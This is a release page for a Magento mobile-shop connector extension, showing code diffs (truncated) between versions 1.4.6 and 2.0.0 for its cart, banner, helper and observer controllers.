Mss_Connector - Version 2.0.0

Version Notes

Magento Mobile Shop Multistore stable version released.

Download this release

Release Info

Developer mss
Extension Mss_Connector
Version 2.0.0
Comparing to
See all releases


Code changes from version 1.4.6 to 2.0.0

Files changed (31) hide show
  1. app/code/local/Mss/Bannerslider/Helper/Data.php +1 -1
  2. app/code/local/Mss/Bannerslider/controllers/Adminhtml/BannersliderController.php +7 -7
  3. app/code/local/Mss/Bannerslider/controllers/BannerController.php +1 -1
  4. app/code/local/Mss/Connector/Helper/Data.php +51 -2
  5. app/code/local/Mss/Connector/Model/Observer.php +10 -3
  6. app/code/local/Mss/Connector/controllers/CartController.php +180 -114
  7. app/code/local/Mss/Connector/controllers/CreditController.php +12 -12
  8. app/code/local/Mss/Connector/controllers/CustomerController.php +195 -55
  9. app/code/local/Mss/Connector/controllers/FeedbackController.php +2 -2
  10. app/code/local/Mss/Connector/controllers/IndexController.php +138 -88
  11. app/code/local/Mss/Connector/controllers/ItemController.php +0 -798
  12. app/code/local/Mss/Connector/controllers/ItemsController.php +1 -1
  13. app/code/local/Mss/Connector/controllers/MenuController.php +0 -98
  14. app/code/local/Mss/Connector/controllers/ProductsController.php +377 -290
  15. app/code/local/Mss/Connector/controllers/SearchController.php +0 -200
  16. app/code/local/Mss/Connector/controllers/StaticpagesController.php +2 -2
  17. app/code/local/Mss/Connector/controllers/StoreController.php +0 -61
  18. app/code/local/Mss/Connector/controllers/StoreinfoController.php +245 -60
  19. app/code/local/Mss/Connector/controllers/TokenController.php +76 -7
  20. app/code/local/Mss/Connector/controllers/WishlistController.php +51 -8
  21. app/code/local/Mss/Connector/controllers/_new_ProductsController.php +0 -1
  22. app/code/local/Mss/Connector/etc/adminhtml.xml +6 -2
  23. app/code/local/Mss/Connector/etc/config.xml +1 -1
  24. app/code/local/Mss/Connector/etc/system.xml +101 -0
  25. app/code/local/Mss/Mpaypal/controllers/IndexController.php +15 -5
  26. app/code/local/Mss/Payu/Block/Index.php +11 -1
  27. app/code/local/Mss/Payu/controllers/IndexController.php +15 -5
  28. app/code/local/Mss/Pushnotification/Helper/Data.php +1 -1
  29. app/code/local/Mss/Pushnotification/etc/system.xml +9 -1
  30. app/code/local/Mss/Sociallogin/Helper/Data.php +7 -8
  31. package.xml +7 -7
app/code/local/Mss/Bannerslider/Helper/Data.php CHANGED
@@ -64,4 +64,4 @@ class Mss_Bannerslider_Helper_Data extends Mage_Core_Helper_Abstract
64
  return strtolower($name);
65
  }
66
  }
67
-
64
  return strtolower($name);
65
  }
66
  }
67
+
app/code/local/Mss/Bannerslider/controllers/Adminhtml/BannersliderController.php CHANGED
@@ -50,7 +50,7 @@ class Mss_Bannerslider_Adminhtml_BannersliderController extends Mage_Adminhtml_C
50
 
51
  $this->renderLayout();
52
  } else {
53
- Mage::getSingleton('adminhtml/session')->addError(Mage::helper('bannerslider')->__('Item does not exist'));
54
  $this->_redirect('*/*/');
55
  }
56
  }
@@ -118,13 +118,13 @@ class Mss_Bannerslider_Adminhtml_BannersliderController extends Mage_Adminhtml_C
118
  $this->_redirect('*/*/');
119
  return;
120
  } catch (Exception $e) {
121
- Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
122
  Mage::getSingleton('adminhtml/session')->setFormData($data);
123
  $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));
124
  return;
125
  }
126
  }
127
- Mage::getSingleton('adminhtml/session')->addError(Mage::helper('bannerslider')->__('Unable to find banner to save'));
128
  $this->_redirect('*/*/');
129
  }
130
 
@@ -140,7 +140,7 @@ class Mss_Bannerslider_Adminhtml_BannersliderController extends Mage_Adminhtml_C
140
  Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('adminhtml')->__('Banner was successfully deleted'));
141
  $this->_redirect('*/*/');
142
  } catch (Exception $e) {
143
- Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
144
  $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id'), 'store' => $this->getRequest()->getParam("store")));
145
  }
146
  }
@@ -153,7 +153,7 @@ class Mss_Bannerslider_Adminhtml_BannersliderController extends Mage_Adminhtml_C
153
  public function massDeleteAction() {
154
  $bannersliderIds = $this->getRequest()->getParam('banner');
155
  if (!is_array($bannersliderIds)) {
156
- Mage::getSingleton('adminhtml/session')->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
157
  } else {
158
  try {
159
  foreach ($bannersliderIds as $bannersliderId) {
@@ -162,7 +162,7 @@ class Mss_Bannerslider_Adminhtml_BannersliderController extends Mage_Adminhtml_C
162
  }
163
  Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('adminhtml')->__('Total of %d record(s) were successfully deleted', count($bannersliderIds)));
164
  } catch (Exception $e) {
165
- Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
166
  }
167
  }
168
  $this->_redirect('*/*/index', array('store' => $this->getRequest()->getParam("store")));
@@ -188,7 +188,7 @@ class Mss_Bannerslider_Adminhtml_BannersliderController extends Mage_Adminhtml_C
188
  $this->__('Total of %d record(s) were successfully updated', count($bannerIds))
189
  );
190
  } catch (Exception $e) {
191
- $this->_getSession()->addError($e->getMessage());
192
  }
193
  }
194
  $this->_redirect('*/*/index', array('store' => $this->getRequest()->getParam("store")));
50
 
51
  $this->renderLayout();
52
  } else {
53
+ Mage::getSingleton('adminhtml/session')->addError(Mage::helper('bannerslider')->__($this->__('Item does not exist')));
54
  $this->_redirect('*/*/');
55
  }
56
  }
118
  $this->_redirect('*/*/');
119
  return;
120
  } catch (Exception $e) {
121
+ Mage::getSingleton('adminhtml/session')->addError($this->__($e->getMessage()));
122
  Mage::getSingleton('adminhtml/session')->setFormData($data);
123
  $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));
124
  return;
125
  }
126
  }
127
+ Mage::getSingleton('adminhtml/session')->addError(Mage::helper('bannerslider')->__( $this->__('Unable to find banner to save')));
128
  $this->_redirect('*/*/');
129
  }
130
 
140
  Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('adminhtml')->__('Banner was successfully deleted'));
141
  $this->_redirect('*/*/');
142
  } catch (Exception $e) {
143
+ Mage::getSingleton('adminhtml/session')->addError( $this->__($e->getMessage()));
144
  $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id'), 'store' => $this->getRequest()->getParam("store")));
145
  }
146
  }
153
  public function massDeleteAction() {
154
  $bannersliderIds = $this->getRequest()->getParam('banner');
155
  if (!is_array($bannersliderIds)) {
156
+ Mage::getSingleton('adminhtml/session')->addError(Mage::helper('adminhtml')->__( $this->__('Please select item(s)')));
157
  } else {
158
  try {
159
  foreach ($bannersliderIds as $bannersliderId) {
162
  }
163
  Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('adminhtml')->__('Total of %d record(s) were successfully deleted', count($bannersliderIds)));
164
  } catch (Exception $e) {
165
+ Mage::getSingleton('adminhtml/session')->addError( $this->__($e->getMessage()));
166
  }
167
  }
168
  $this->_redirect('*/*/index', array('store' => $this->getRequest()->getParam("store")));
188
  $this->__('Total of %d record(s) were successfully updated', count($bannerIds))
189
  );
190
  } catch (Exception $e) {
191
+ $this->_getSession()->addError( $this->__($e->getMessage()));
192
  }
193
  }
194
  $this->_redirect('*/*/index', array('store' => $this->getRequest()->getParam("store")));
app/code/local/Mss/Bannerslider/controllers/BannerController.php CHANGED
@@ -53,7 +53,7 @@ class Mss_Bannerslider_BannerController extends Mage_Core_Controller_Front_Actio
53
  echo json_encode(array('status'=>'success','data'=>$alldata));
54
  exit;
55
  else:
56
- echo json_encode(array('status'=>'error','message'=>'No banner uploaded'));
57
  endif;
58
  }
59
  }
53
  echo json_encode(array('status'=>'success','data'=>$alldata));
54
  exit;
55
  else:
56
+ echo json_encode(array('status'=>'error','message'=> $this->__('No banner uploaded')));
57
  endif;
58
  }
59
  }
app/code/local/Mss/Connector/Helper/Data.php CHANGED
@@ -26,6 +26,10 @@ class Mss_Connector_Helper_Data extends Mage_Core_Helper_Abstract
26
  $_media_dir = Mage::getBaseDir('media') . DS . 'catalog' . DS . 'product' ;
27
  endif;
28
 
 
 
 
 
29
  $_image = new Varien_Image($_media_dir . $_file_name);
30
 
31
  $_image->constrainOnly(true);
@@ -177,7 +181,7 @@ class Mss_Connector_Helper_Data extends Mage_Core_Helper_Abstract
177
 
178
  }
179
  catch(Exception $ex){
180
- echo json_encode(array('status'=>'error','message'=>$ex->getMessage()));
181
  exit;
182
  }
183
 
@@ -194,4 +198,49 @@ class Mss_Connector_Helper_Data extends Mage_Core_Helper_Abstract
194
  $stock_data = $stock_product->getIsInStock();
195
  return $stock_data;
196
  }
197
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
26
  $_media_dir = Mage::getBaseDir('media') . DS . 'catalog' . DS . 'product' ;
27
  endif;
28
 
29
+ if($type == 'product_main'):
30
+ $_media_dir = Mage::getBaseDir('media') . DS . 'catalog' . DS . 'product' ;
31
+ endif;
32
+
33
  $_image = new Varien_Image($_media_dir . $_file_name);
34
 
35
  $_image->constrainOnly(true);
181
 
182
  }
183
  catch(Exception $ex){
184
+ echo json_encode(array('status'=>'error','message'=> $this->__($ex->getMessage())));
185
  exit;
186
  }
187
 
198
  $stock_data = $stock_product->getIsInStock();
199
  return $stock_data;
200
  }
201
+
202
+ public function getCurrencysymbolByCode($code){
203
+
204
+ return Mage::app()->getLocale()->currency($code)->getSymbol()?:$code;
205
+ }
206
+
207
+ public function getSpecialPriceByProductId($productId)
208
+ {
209
+ $product = Mage::getModel('catalog/product')->load($productId);
210
+ $specialprice = $product->getSpecialPrice();
211
+ $specialPriceFromDate = $product->getSpecialFromDate();
212
+ $specialPriceToDate = $product->getSpecialToDate();
213
+
214
+ $today = time();
215
+
216
+ if ($specialprice):
217
+ if($today >= strtotime( $specialPriceFromDate) && $today <= strtotime($specialPriceToDate) || $today >= strtotime( $specialPriceFromDate) && is_null($specialPriceToDate))
218
+ return $specialprice;
219
+ else return '0.00';
220
+ else:
221
+ return '0.00';
222
+ endif;
223
+
224
+
225
+ }
226
+
227
+ public function getFinalPriceByProductId($productId)
228
+ {
229
+ $product = Mage::getModel('catalog/product')->load($productId);
230
+ $specialprice = $product->getSpecialPrice();
231
+ $specialPriceFromDate = $product->getSpecialFromDate();
232
+ $specialPriceToDate = $product->getSpecialToDate();
233
+
234
+ $today = time();
235
+
236
+ if ($specialprice):
237
+ if($today >= strtotime( $specialPriceFromDate) && $today <= strtotime($specialPriceToDate) || $today >= strtotime( $specialPriceFromDate) && is_null($specialPriceToDate))
238
+ return $specialprice;
239
+ else return '';
240
+ else:
241
+ return '';
242
+ endif;
243
+
244
+
245
+ }
246
+ }
app/code/local/Mss/Connector/Model/Observer.php CHANGED
@@ -8,6 +8,12 @@ class Mss_Connector_Model_Observer
8
  public function notificationMessage()
9
  {
10
  $adminsession = Mage::getSingleton('admin/session', array('name'=>'adminhtml'));
 
 
 
 
 
 
11
 
12
  if(!Mage::getStoreConfig(self::XML_SECURE_KEY) AND $adminsession->isLoggedIn()):
13
 
@@ -19,8 +25,8 @@ class Mss_Connector_Model_Observer
19
 
20
  $configValue = Mage::getStoreConfig('mss/connector/email');
21
 
22
- //if($configValue =='' AND $adminsession->isLoggedIn())
23
- //$this->sendemail();
24
 
25
 
26
 
@@ -57,8 +63,9 @@ MESSAGE;
57
 
58
  if($email):
59
  $mssSwitch = new Mage_Core_Model_Config();
60
- $mssSwitch ->saveConfig('mss/connector/email', 1);
61
  endif;
 
62
 
63
  return true;
64
 
8
  public function notificationMessage()
9
  {
10
  $adminsession = Mage::getSingleton('admin/session', array('name'=>'adminhtml'));
11
+
12
+ if(!Mage::getStoreConfig('web/url/use_store')):
13
+ $mssSwitch = new Mage_Core_Model_Config();
14
+ $mssSwitch->saveConfig('web/url/use_store', 1);
15
+ endif;
16
+
17
 
18
  if(!Mage::getStoreConfig(self::XML_SECURE_KEY) AND $adminsession->isLoggedIn()):
19
 
25
 
26
  $configValue = Mage::getStoreConfig('mss/connector/email');
27
 
28
+ /*if($configValue =='' AND $adminsession->isLoggedIn())
29
+ $this->sendemail();*/
30
 
31
 
32
 
63
 
64
  if($email):
65
  $mssSwitch = new Mage_Core_Model_Config();
66
+ $mssSwitch->saveConfig('mss/connector/email', 1);
67
  endif;
68
+
69
 
70
  return true;
71
 
app/code/local/Mss/Connector/controllers/CartController.php CHANGED
@@ -8,11 +8,22 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
8
  public $cc_year = '';
9
  public $cc_cid ='';
10
 
 
 
 
 
11
  public function _construct(){
12
 
13
  header('content-type: application/json; charset=utf-8');
14
  header("access-control-allow-origin: *");
15
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
 
 
 
 
 
 
 
16
  parent::_construct();
17
 
18
  }
@@ -34,14 +45,14 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
34
 
35
 
36
  if(!sizeof($cart_data)):
37
- echo json_encode(array('status'=>'error','message'=> 'Nothing to add in cart, cart is empty.'));
38
  exit;
39
  endif;
40
 
41
  $cart = Mage::helper ( 'checkout/cart' )->getCart ();
42
  $cart->truncate();
 
43
 
44
-
45
  $session = Mage::getSingleton ( 'core/session', array (
46
  'name' => 'frontend'
47
  ) );
@@ -94,8 +105,18 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
94
 
95
 
96
  endforeach;
97
- $session->setCartWasUpdated ( true );
98
- $cart->save ();
 
 
 
 
 
 
 
 
 
 
99
 
100
 
101
 
@@ -107,7 +128,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
107
  if ($check_grand_total < $amount):
108
  $message = Mage::getStoreConfig('sales/minimum_order/error_message');
109
  if(!$message) $message = 'Minimum Order Limit is '.$amount;
110
- echo json_encode(array('status'=>'error','message'=> $message));
111
  exit;
112
  endif;
113
 
@@ -130,18 +151,19 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
130
  $cart->removeItem ( $id )->save ();
131
  echo json_encode(array("status"=>"success"));
132
  } catch ( Mage_Core_Exception $e ) {
133
- echo json_encode ( array ("status" =>"error","message"=>$e->getMessage ()));
134
 
135
  } catch ( Exception $e ) {
136
- echo json_encode ( array ("status" =>"error","message"=>$e->getMessage ()));
137
 
138
  }
139
  else:
140
- echo json_encode(array ("status" =>"error","message"=>"Param cart_item_id is empty."));
141
  exit;
142
  endif;
143
-
144
  }
 
 
145
  public function clearcartAction()
146
  {
147
 
@@ -153,7 +175,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
153
 
154
 
155
  $result = '{"result":"success"';
156
- $result .= ', "message": "' . 'cart is empty!' . '"}';
157
  echo $result;
158
 
159
 
@@ -173,8 +195,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
173
  ) );
174
  $params ['qty'] = $filter->filter ( $params ['qty'] );
175
  } else if ($product_id == '') {
176
- $session->addError ( "Product Not Added
177
- The SKU you entered ($sku) was not found." );
178
  }
179
  $request = Mage::app ()->getRequest ();
180
  $product = Mage::getModel ( 'catalog/product' )->load ( $product_id );
@@ -212,11 +234,11 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
212
  $cart->addProduct ( $product, $params );
213
  endif;
214
 
215
-
216
- $session->setLastAddedProductId ( $product->getId () );
217
- $session->setCartWasUpdated ( true );
218
- $cart->save ();
219
-
220
 
221
  $cart = Mage::getSingleton ( 'checkout/cart' );
222
  $quote = $cart->getQuote ();
@@ -234,9 +256,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
234
  $result .= ', "items_qty": "' . $items_qty . '"';
235
  $result .= ', "cart_item_id": "' . $cartItemArr . '"}';
236
  echo $result;
237
- } catch ( Exception $e ) {
238
-
239
 
 
240
  $result = '{"result":"error"';
241
  $result .= ', "message": "' . str_replace("\"","||",$e->getMessage ()) . '"}';
242
  echo $result;
@@ -266,8 +287,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
266
  ) );
267
  $params ['qty'] = $filter->filter ( $params ['qty'] );
268
  } else if ($product_id == '') {
269
- $session->addError ( "Product Not Added
270
- The SKU you entered ($sku) was not found." );
271
  }
272
  $request = Mage::app ()->getRequest ();
273
  $product = Mage::getModel ( 'catalog/product' )->load ( $product_id );
@@ -292,10 +313,10 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
292
  $cart->removeItem ( $id )->save ();
293
  echo json_encode(array('cart_info'=>$this->_getCartInformation(),'total'=>$this->_getCartTotal ()));
294
  } catch ( Mage_Core_Exception $e ) {
295
- echo json_encode ( $e->getMessage () );
296
 
297
  } catch ( Exception $e ) {
298
- echo json_encode ( $e->getMessage () );
299
 
300
  }
301
  } else {
@@ -324,8 +345,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
324
  } else {
325
  echo json_encode ( array (
326
  'status' => 'error',
327
- 'message' => 'a wrong cart_item_id was given.'
328
- ) );
329
  return false;
330
  }
331
  $oldQty = $item->getQty ();
@@ -344,10 +365,10 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
344
  } catch ( Mage_Core_Exception $e ) { // rollback $quote->collectTotals()->save();
345
  $item && $item->setData ( 'qty', $oldQty );
346
  $cart->getQuote ()->setTotalsCollectedFlag ( false ); // reflash price
347
- echo json_encode (array('status'=>'error','message'=> $e->getMessage ()) );
348
  exit;
349
  } catch ( Exception $e ) {
350
- echo json_encode (array('status'=>'error','message'=> $e->getMessage ()) );
351
  exit;
352
  }
353
  echo json_encode(array('cart_info'=>$this->_getCartInformation(),'total'=>$this->_getCartTotal ()));
@@ -373,8 +394,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
373
  {
374
  echo json_encode ( array (
375
  'status' => 'error',
376
- 'message' => "Coupan Is not Valid"
377
- ) );
378
  return false;
379
  }
380
 
@@ -384,8 +405,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
384
  if (! $cart->getItemsCount ()) {
385
  echo json_encode ( array (
386
  'code' => '0X0001',
387
- 'message' => "You can't use coupon code with an empty shopping cart"
388
- ) );
389
  return false;
390
  }
391
  if (Mage::app ()->getRequest ()->getParam ( 'remove' ) == 1) {
@@ -453,8 +474,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
453
  $cartInfo ['cart_items'] = $this->_getCartItems ();
454
  $cartInfo ['messages'] = sizeof ( $this->errors ) ? $this->errors : $this->_getMessage ();
455
  $cartInfo ['cart_items_count'] = Mage::helper ( 'checkout/cart' )->getSummaryCount ();
456
- $cartInfo ['grand_total'] = $cart->getQuote()->getGrandTotal();
457
- $cartInfo ['sub_total'] = $cart->getQuote()->getSubtotal();
458
  $cartInfo ['allow_guest_checkout'] = Mage::helper ( 'checkout' )->isAllowedGuestCheckout ( $cart->getQuote () );
459
 
460
  return $cartInfo;
@@ -495,7 +516,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
495
  protected function _getMessage() {
496
  $cart = Mage::getSingleton ( 'checkout/cart' );
497
  if (! Mage::getSingleton ( 'checkout/type_onepage' )->getQuote ()->hasItems ()) {
498
- $this->errors [] = 'Cart is empty!';
499
  return $this->errors;
500
  }
501
  if (! $cart->getQuote ()->validateMinimumAmount ()) {
@@ -507,7 +528,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
507
  foreach ( $messages as $message ) {
508
  if ($message) {
509
  $message = str_replace("\"","||",$message);
510
- $this->errors [] = $message->getText ();
511
  }
512
  }
513
  }
@@ -538,49 +559,36 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
538
  $cartItemsArr = array ();
539
  $cart = Mage::getSingleton ( 'checkout/cart' );
540
  $quote = $cart->getQuote ();
541
- $currency = $quote->getquote_currency_code ();
542
  $displayCartPriceInclTax = Mage::helper ( 'tax' )->displayCartPriceInclTax ();
543
  $displayCartPriceExclTax = Mage::helper ( 'tax' )->displayCartPriceExclTax ();
544
  $displayCartBothPrices = Mage::helper ( 'tax' )->displayCartBothPrices ();
 
545
  $items = $quote->getAllVisibleItems ();
 
 
 
 
 
546
  foreach ( $items as $item ) {
547
  $cartItemArr = array ();
548
  $cartItemArr ['cart_item_id'] = $item->getId ();
549
- $cartItemArr ['currency'] = $currency;
550
  $cartItemArr ['entity_type'] = $item->getProductType ();
551
  $cartItemArr ['item_id'] = $item->getProduct ()->getId ();
552
  $cartItemArr ['item_title'] = strip_tags ( $item->getProduct ()->getName () );
553
  $cartItemArr ['qty'] = $item->getQty ();
554
- $cartItemArr ['thumbnail_pic_url'] = ( string ) Mage::getModel('catalog/product_media_config')
555
- ->getMediaUrl( $item->getImage() );
556
  $cartItemArr ['custom_option'] = $this->_getCustomOptions ( $item );
557
- if ($displayCartPriceExclTax || $displayCartBothPrices) {
558
- if (Mage::helper ( 'weee' )->typeOfDisplay ( $item, array (
559
- 0,
560
- 1,
561
- 4
562
- ), 'sales' ) && $item->getWeeeTaxAppliedAmount ()) {
563
- $exclPrice = $item->getCalculationPrice () + $item->getWeeeTaxAppliedAmount () + $item->getWeeeTaxDisposition ();
564
- } else {
565
- $exclPrice = $item->getCalculationPrice ();
566
- }
567
- }
568
- $inclPrice = Mage::helper ( 'checkout' )->getPriceInclTax ( $item );
569
- if ($displayCartPriceInclTax || $displayCartBothPrices) {
570
- $_incl = Mage::helper ( 'checkout' )->getPriceInclTax ( $item );
571
- if (Mage::helper ( 'weee' )->typeOfDisplay ( $item, array (
572
- 0,
573
- 1,
574
- 4
575
- ), 'sales' ) && $item->getWeeeTaxAppliedAmount ()) {
576
- $inclPrice = $_incl + $item->getWeeeTaxAppliedAmount ();
577
- } else {
578
- $inclPrice = $_incl - $item->getWeeeTaxDisposition ();
579
- }
580
- }
581
-
582
- //$cartItemArr ['item_price'] = max ( $exclPrice, $inclPrice );
583
- $cartItemArr ['item_price'] = $exclPrice;
584
 
585
  array_push ( $cartItemsArr, $cartItemArr );
586
  }
@@ -704,7 +712,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
704
  if ($session->getUseNotice ( true )) {
705
  $msg = $e->getMessage ();
706
  } else {
707
- $messages = array_unique ( explode ( "\n", $e->getMessage () ) );
708
  foreach ( $messages as $message ) {
709
  $msg .= $message . '<br>';
710
  }
@@ -729,28 +737,37 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
729
 
730
  $methods = Mage::getSingleton('shipping/config')->getActiveCarriers();
731
  $shipMethods = array();
 
 
 
732
  foreach ($methods as $shippigCode=>$shippingModel)
733
  {
734
 
735
  if($shippigCode == 'freeshipping'):
736
  if(Mage::getStoreConfig('carriers/'.$shippigCode.'/free_shipping_subtotal') < Mage::helper('checkout/cart')->getQuote()->getBaseSubtotalWithDiscount()):
737
  $shippingTitle = Mage::getStoreConfig('carriers/'.$shippigCode.'/title');
 
 
 
 
 
 
 
 
 
 
 
 
 
738
  $shippingPrice = Mage::getStoreConfig('carriers/'.$shippigCode.'/price');
739
  $shipMethods[]=array(
740
  'code'=>$shippigCode,
741
  'value'=>$shippingTitle,
742
- 'price'=>(int)$shippingPrice
 
 
 
743
  );
744
- endif;
745
-
746
- else:
747
- $shippingTitle = Mage::getStoreConfig('carriers/'.$shippigCode.'/title');
748
- $shippingPrice = Mage::getStoreConfig('carriers/'.$shippigCode.'/price');
749
- $shipMethods[]=array(
750
- 'code'=>$shippigCode,
751
- 'value'=>$shippingTitle,
752
- 'price'=>(int)$shippingPrice
753
- );
754
  endif;
755
 
756
 
@@ -798,7 +815,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
798
  if ($price < $amount):
799
  $message = Mage::getStoreConfig('sales/minimum_order/error_message');
800
  if(!$message) $message = 'Minimum Order Limit is '.$amount;
801
- echo json_encode(array('status'=>'error','message'=> $message));
802
  exit;
803
  endif;
804
 
@@ -840,20 +857,20 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
840
  $this->validateCarddtails(json_decode($card_details,1));
841
 
842
  if (!Zend_Validate::is($addressId, 'NotEmpty')):
843
- echo json_encode(array('Status'=>'error','message'=>'AddressId should not be empty'));
844
  exit;
845
  endif;
846
  if (!Zend_Validate::is($shipping_method, 'NotEmpty')):
847
- echo json_encode(array('Status'=>'error','message'=>'Shippingmethod should not be empty'));
848
  exit;
849
  endif;
850
  if (!Zend_Validate::is($paymentmethod, 'NotEmpty')):
851
- echo json_encode(array('Status'=>'error','message'=>'paymentmethod should not be empty'));
852
  exit;
853
  endif;
854
  if($addressId==''){
855
  $result=array(
856
- 'message'=>'address is missing!!!!',
857
  'status'=>'success'
858
 
859
  );
@@ -914,7 +931,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
914
  }
915
  Mage::getSingleton('checkout/session')->clear();
916
 
917
- $result=array( 'message'=>'Order placed successfully.',
918
  'orderid'=>$order->getIncrementId(),
919
  'result'=>'success'
920
 
@@ -926,13 +943,13 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
926
 
927
  } catch (Exception $e) {
928
 
929
- echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
930
  exit;
931
 
932
  }
933
  else:
934
  $result=array(
935
- 'message'=>'cart is empty',
936
  'result'=>'success'
937
 
938
  );
@@ -940,6 +957,8 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
940
  endif;
941
 
942
  }else{
 
 
943
  ini_set('memory_limit', '128M');
944
 
945
  $getParams = $this->getRequest()->getParams();
@@ -1045,7 +1064,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1045
  }
1046
  catch (Exception $e)
1047
  {
1048
- echo json_encode(array('status' =>'error','message' => $e->getMessage()));
1049
  exit;
1050
 
1051
  }
@@ -1155,7 +1174,7 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1155
 
1156
 
1157
 
1158
- $result=array( 'message'=>'Order placed successfully.',
1159
  'orderid'=>$orderId,
1160
  'result'=>'success'
1161
 
@@ -1171,13 +1190,13 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1171
  public function validateCarddtails($card_details){
1172
 
1173
  if(!sizeof($card_details)):
1174
- echo json_encode(array('status' =>'error','message' => 'Card Information is required in case of authorize.net payment method.'));
1175
  exit;
1176
  endif;
1177
 
1178
  if(!$card_details['cc_type'] || !$card_details['cc_number'] ||
1179
  !$card_details['cc_month'] || !$card_details['cc_year'] || !$card_details['cc_cid']):
1180
- echo json_encode(array('status' =>'error','message' => 'Some Required card information is missing.'));
1181
  exit;
1182
  endif;
1183
  $this->cc_type = $card_details['cc_type'];
@@ -1212,11 +1231,15 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1212
  $cart = Mage::getModel('sales/quote') ->loadByCustomer($customer);
1213
 
1214
  if(!count($cart->getAllItems())):
1215
- echo json_encode(array('status'=>'success','message'=>$product));
1216
  exit;
1217
  endif;
1218
  $product_model = Mage::getModel ( 'catalog/product' );
1219
- foreach ($cart->getAllVisibleItems() as $item) {
 
 
 
 
1220
 
1221
  $productName= array();
1222
  $productName['cart_item_id'] = $item->getId();
@@ -1225,9 +1248,10 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1225
  $productName['qty'] = $item->getQty();
1226
  $productName['Name'] = $item->getProduct()->getName();
1227
  /*$productName['Price'] = $item->getPrice()* $item->getQty();*/
1228
- $productName['Price'] = $item->getPrice();
1229
  $productName['image'] =Mage::helper('connector')-> Imageresize($product_model->load($item->getProductId())->getImage()
1230
- ,'product','100','100');
 
1231
 
1232
  if($product_model->load($item->getProductId())->isConfigurable())
1233
  $productName['configurable'] = $this->_getConfigurableOptions( $item );
@@ -1238,28 +1262,70 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1238
 
1239
  $product['product'][] = $productName;
1240
 
1241
- }
1242
  $product['subtotal'] = $cart->getSubtotal();
1243
  $product['grandtotal'] = $cart->getGrandTotal();
1244
  $product['totalitems'] = $cart->getItemsCount();
1245
- $product['symbol'] = Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol();
1246
 
1247
- echo json_encode(array('status'=>'success','message'=>$product));
1248
 
1249
  }
1250
  catch(exception $e)
1251
  {
1252
- echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
1253
  }
1254
  }
1255
- else{
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1256
 
1257
- echo json_encode(array('status'=>'error','message'=>'Please Login.'));
1258
- }
1259
-
1260
-
1261
- }
1262
 
 
 
1263
  /* Cancel Order API :
1264
 
1265
  URL : /restapi/cart/cancelOrder/
@@ -1273,14 +1339,14 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1273
  */
1274
 
1275
  public function cancelOrderAction(){
1276
- $orderId =(int)$this->getRequest()->getParam('orderid');
1277
 
1278
  if($orderId):
1279
  if(Mage::getSingleton ( 'customer/session' )->isLoggedIn()):
1280
  try{
1281
  $order = Mage::getModel('sales/order')->loadByIncrementId($orderId);
1282
  if(!$order->getId()):
1283
- echo json_encode(array('status'=>'error','message'=>'Invalid Order Id.'));
1284
  exit;
1285
  endif;
1286
 
@@ -1294,19 +1360,19 @@ class Mss_Connector_CartController extends Mage_Core_Controller_Front_Action {
1294
  }
1295
  catch(Exceptio $e)
1296
  {
1297
- echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
1298
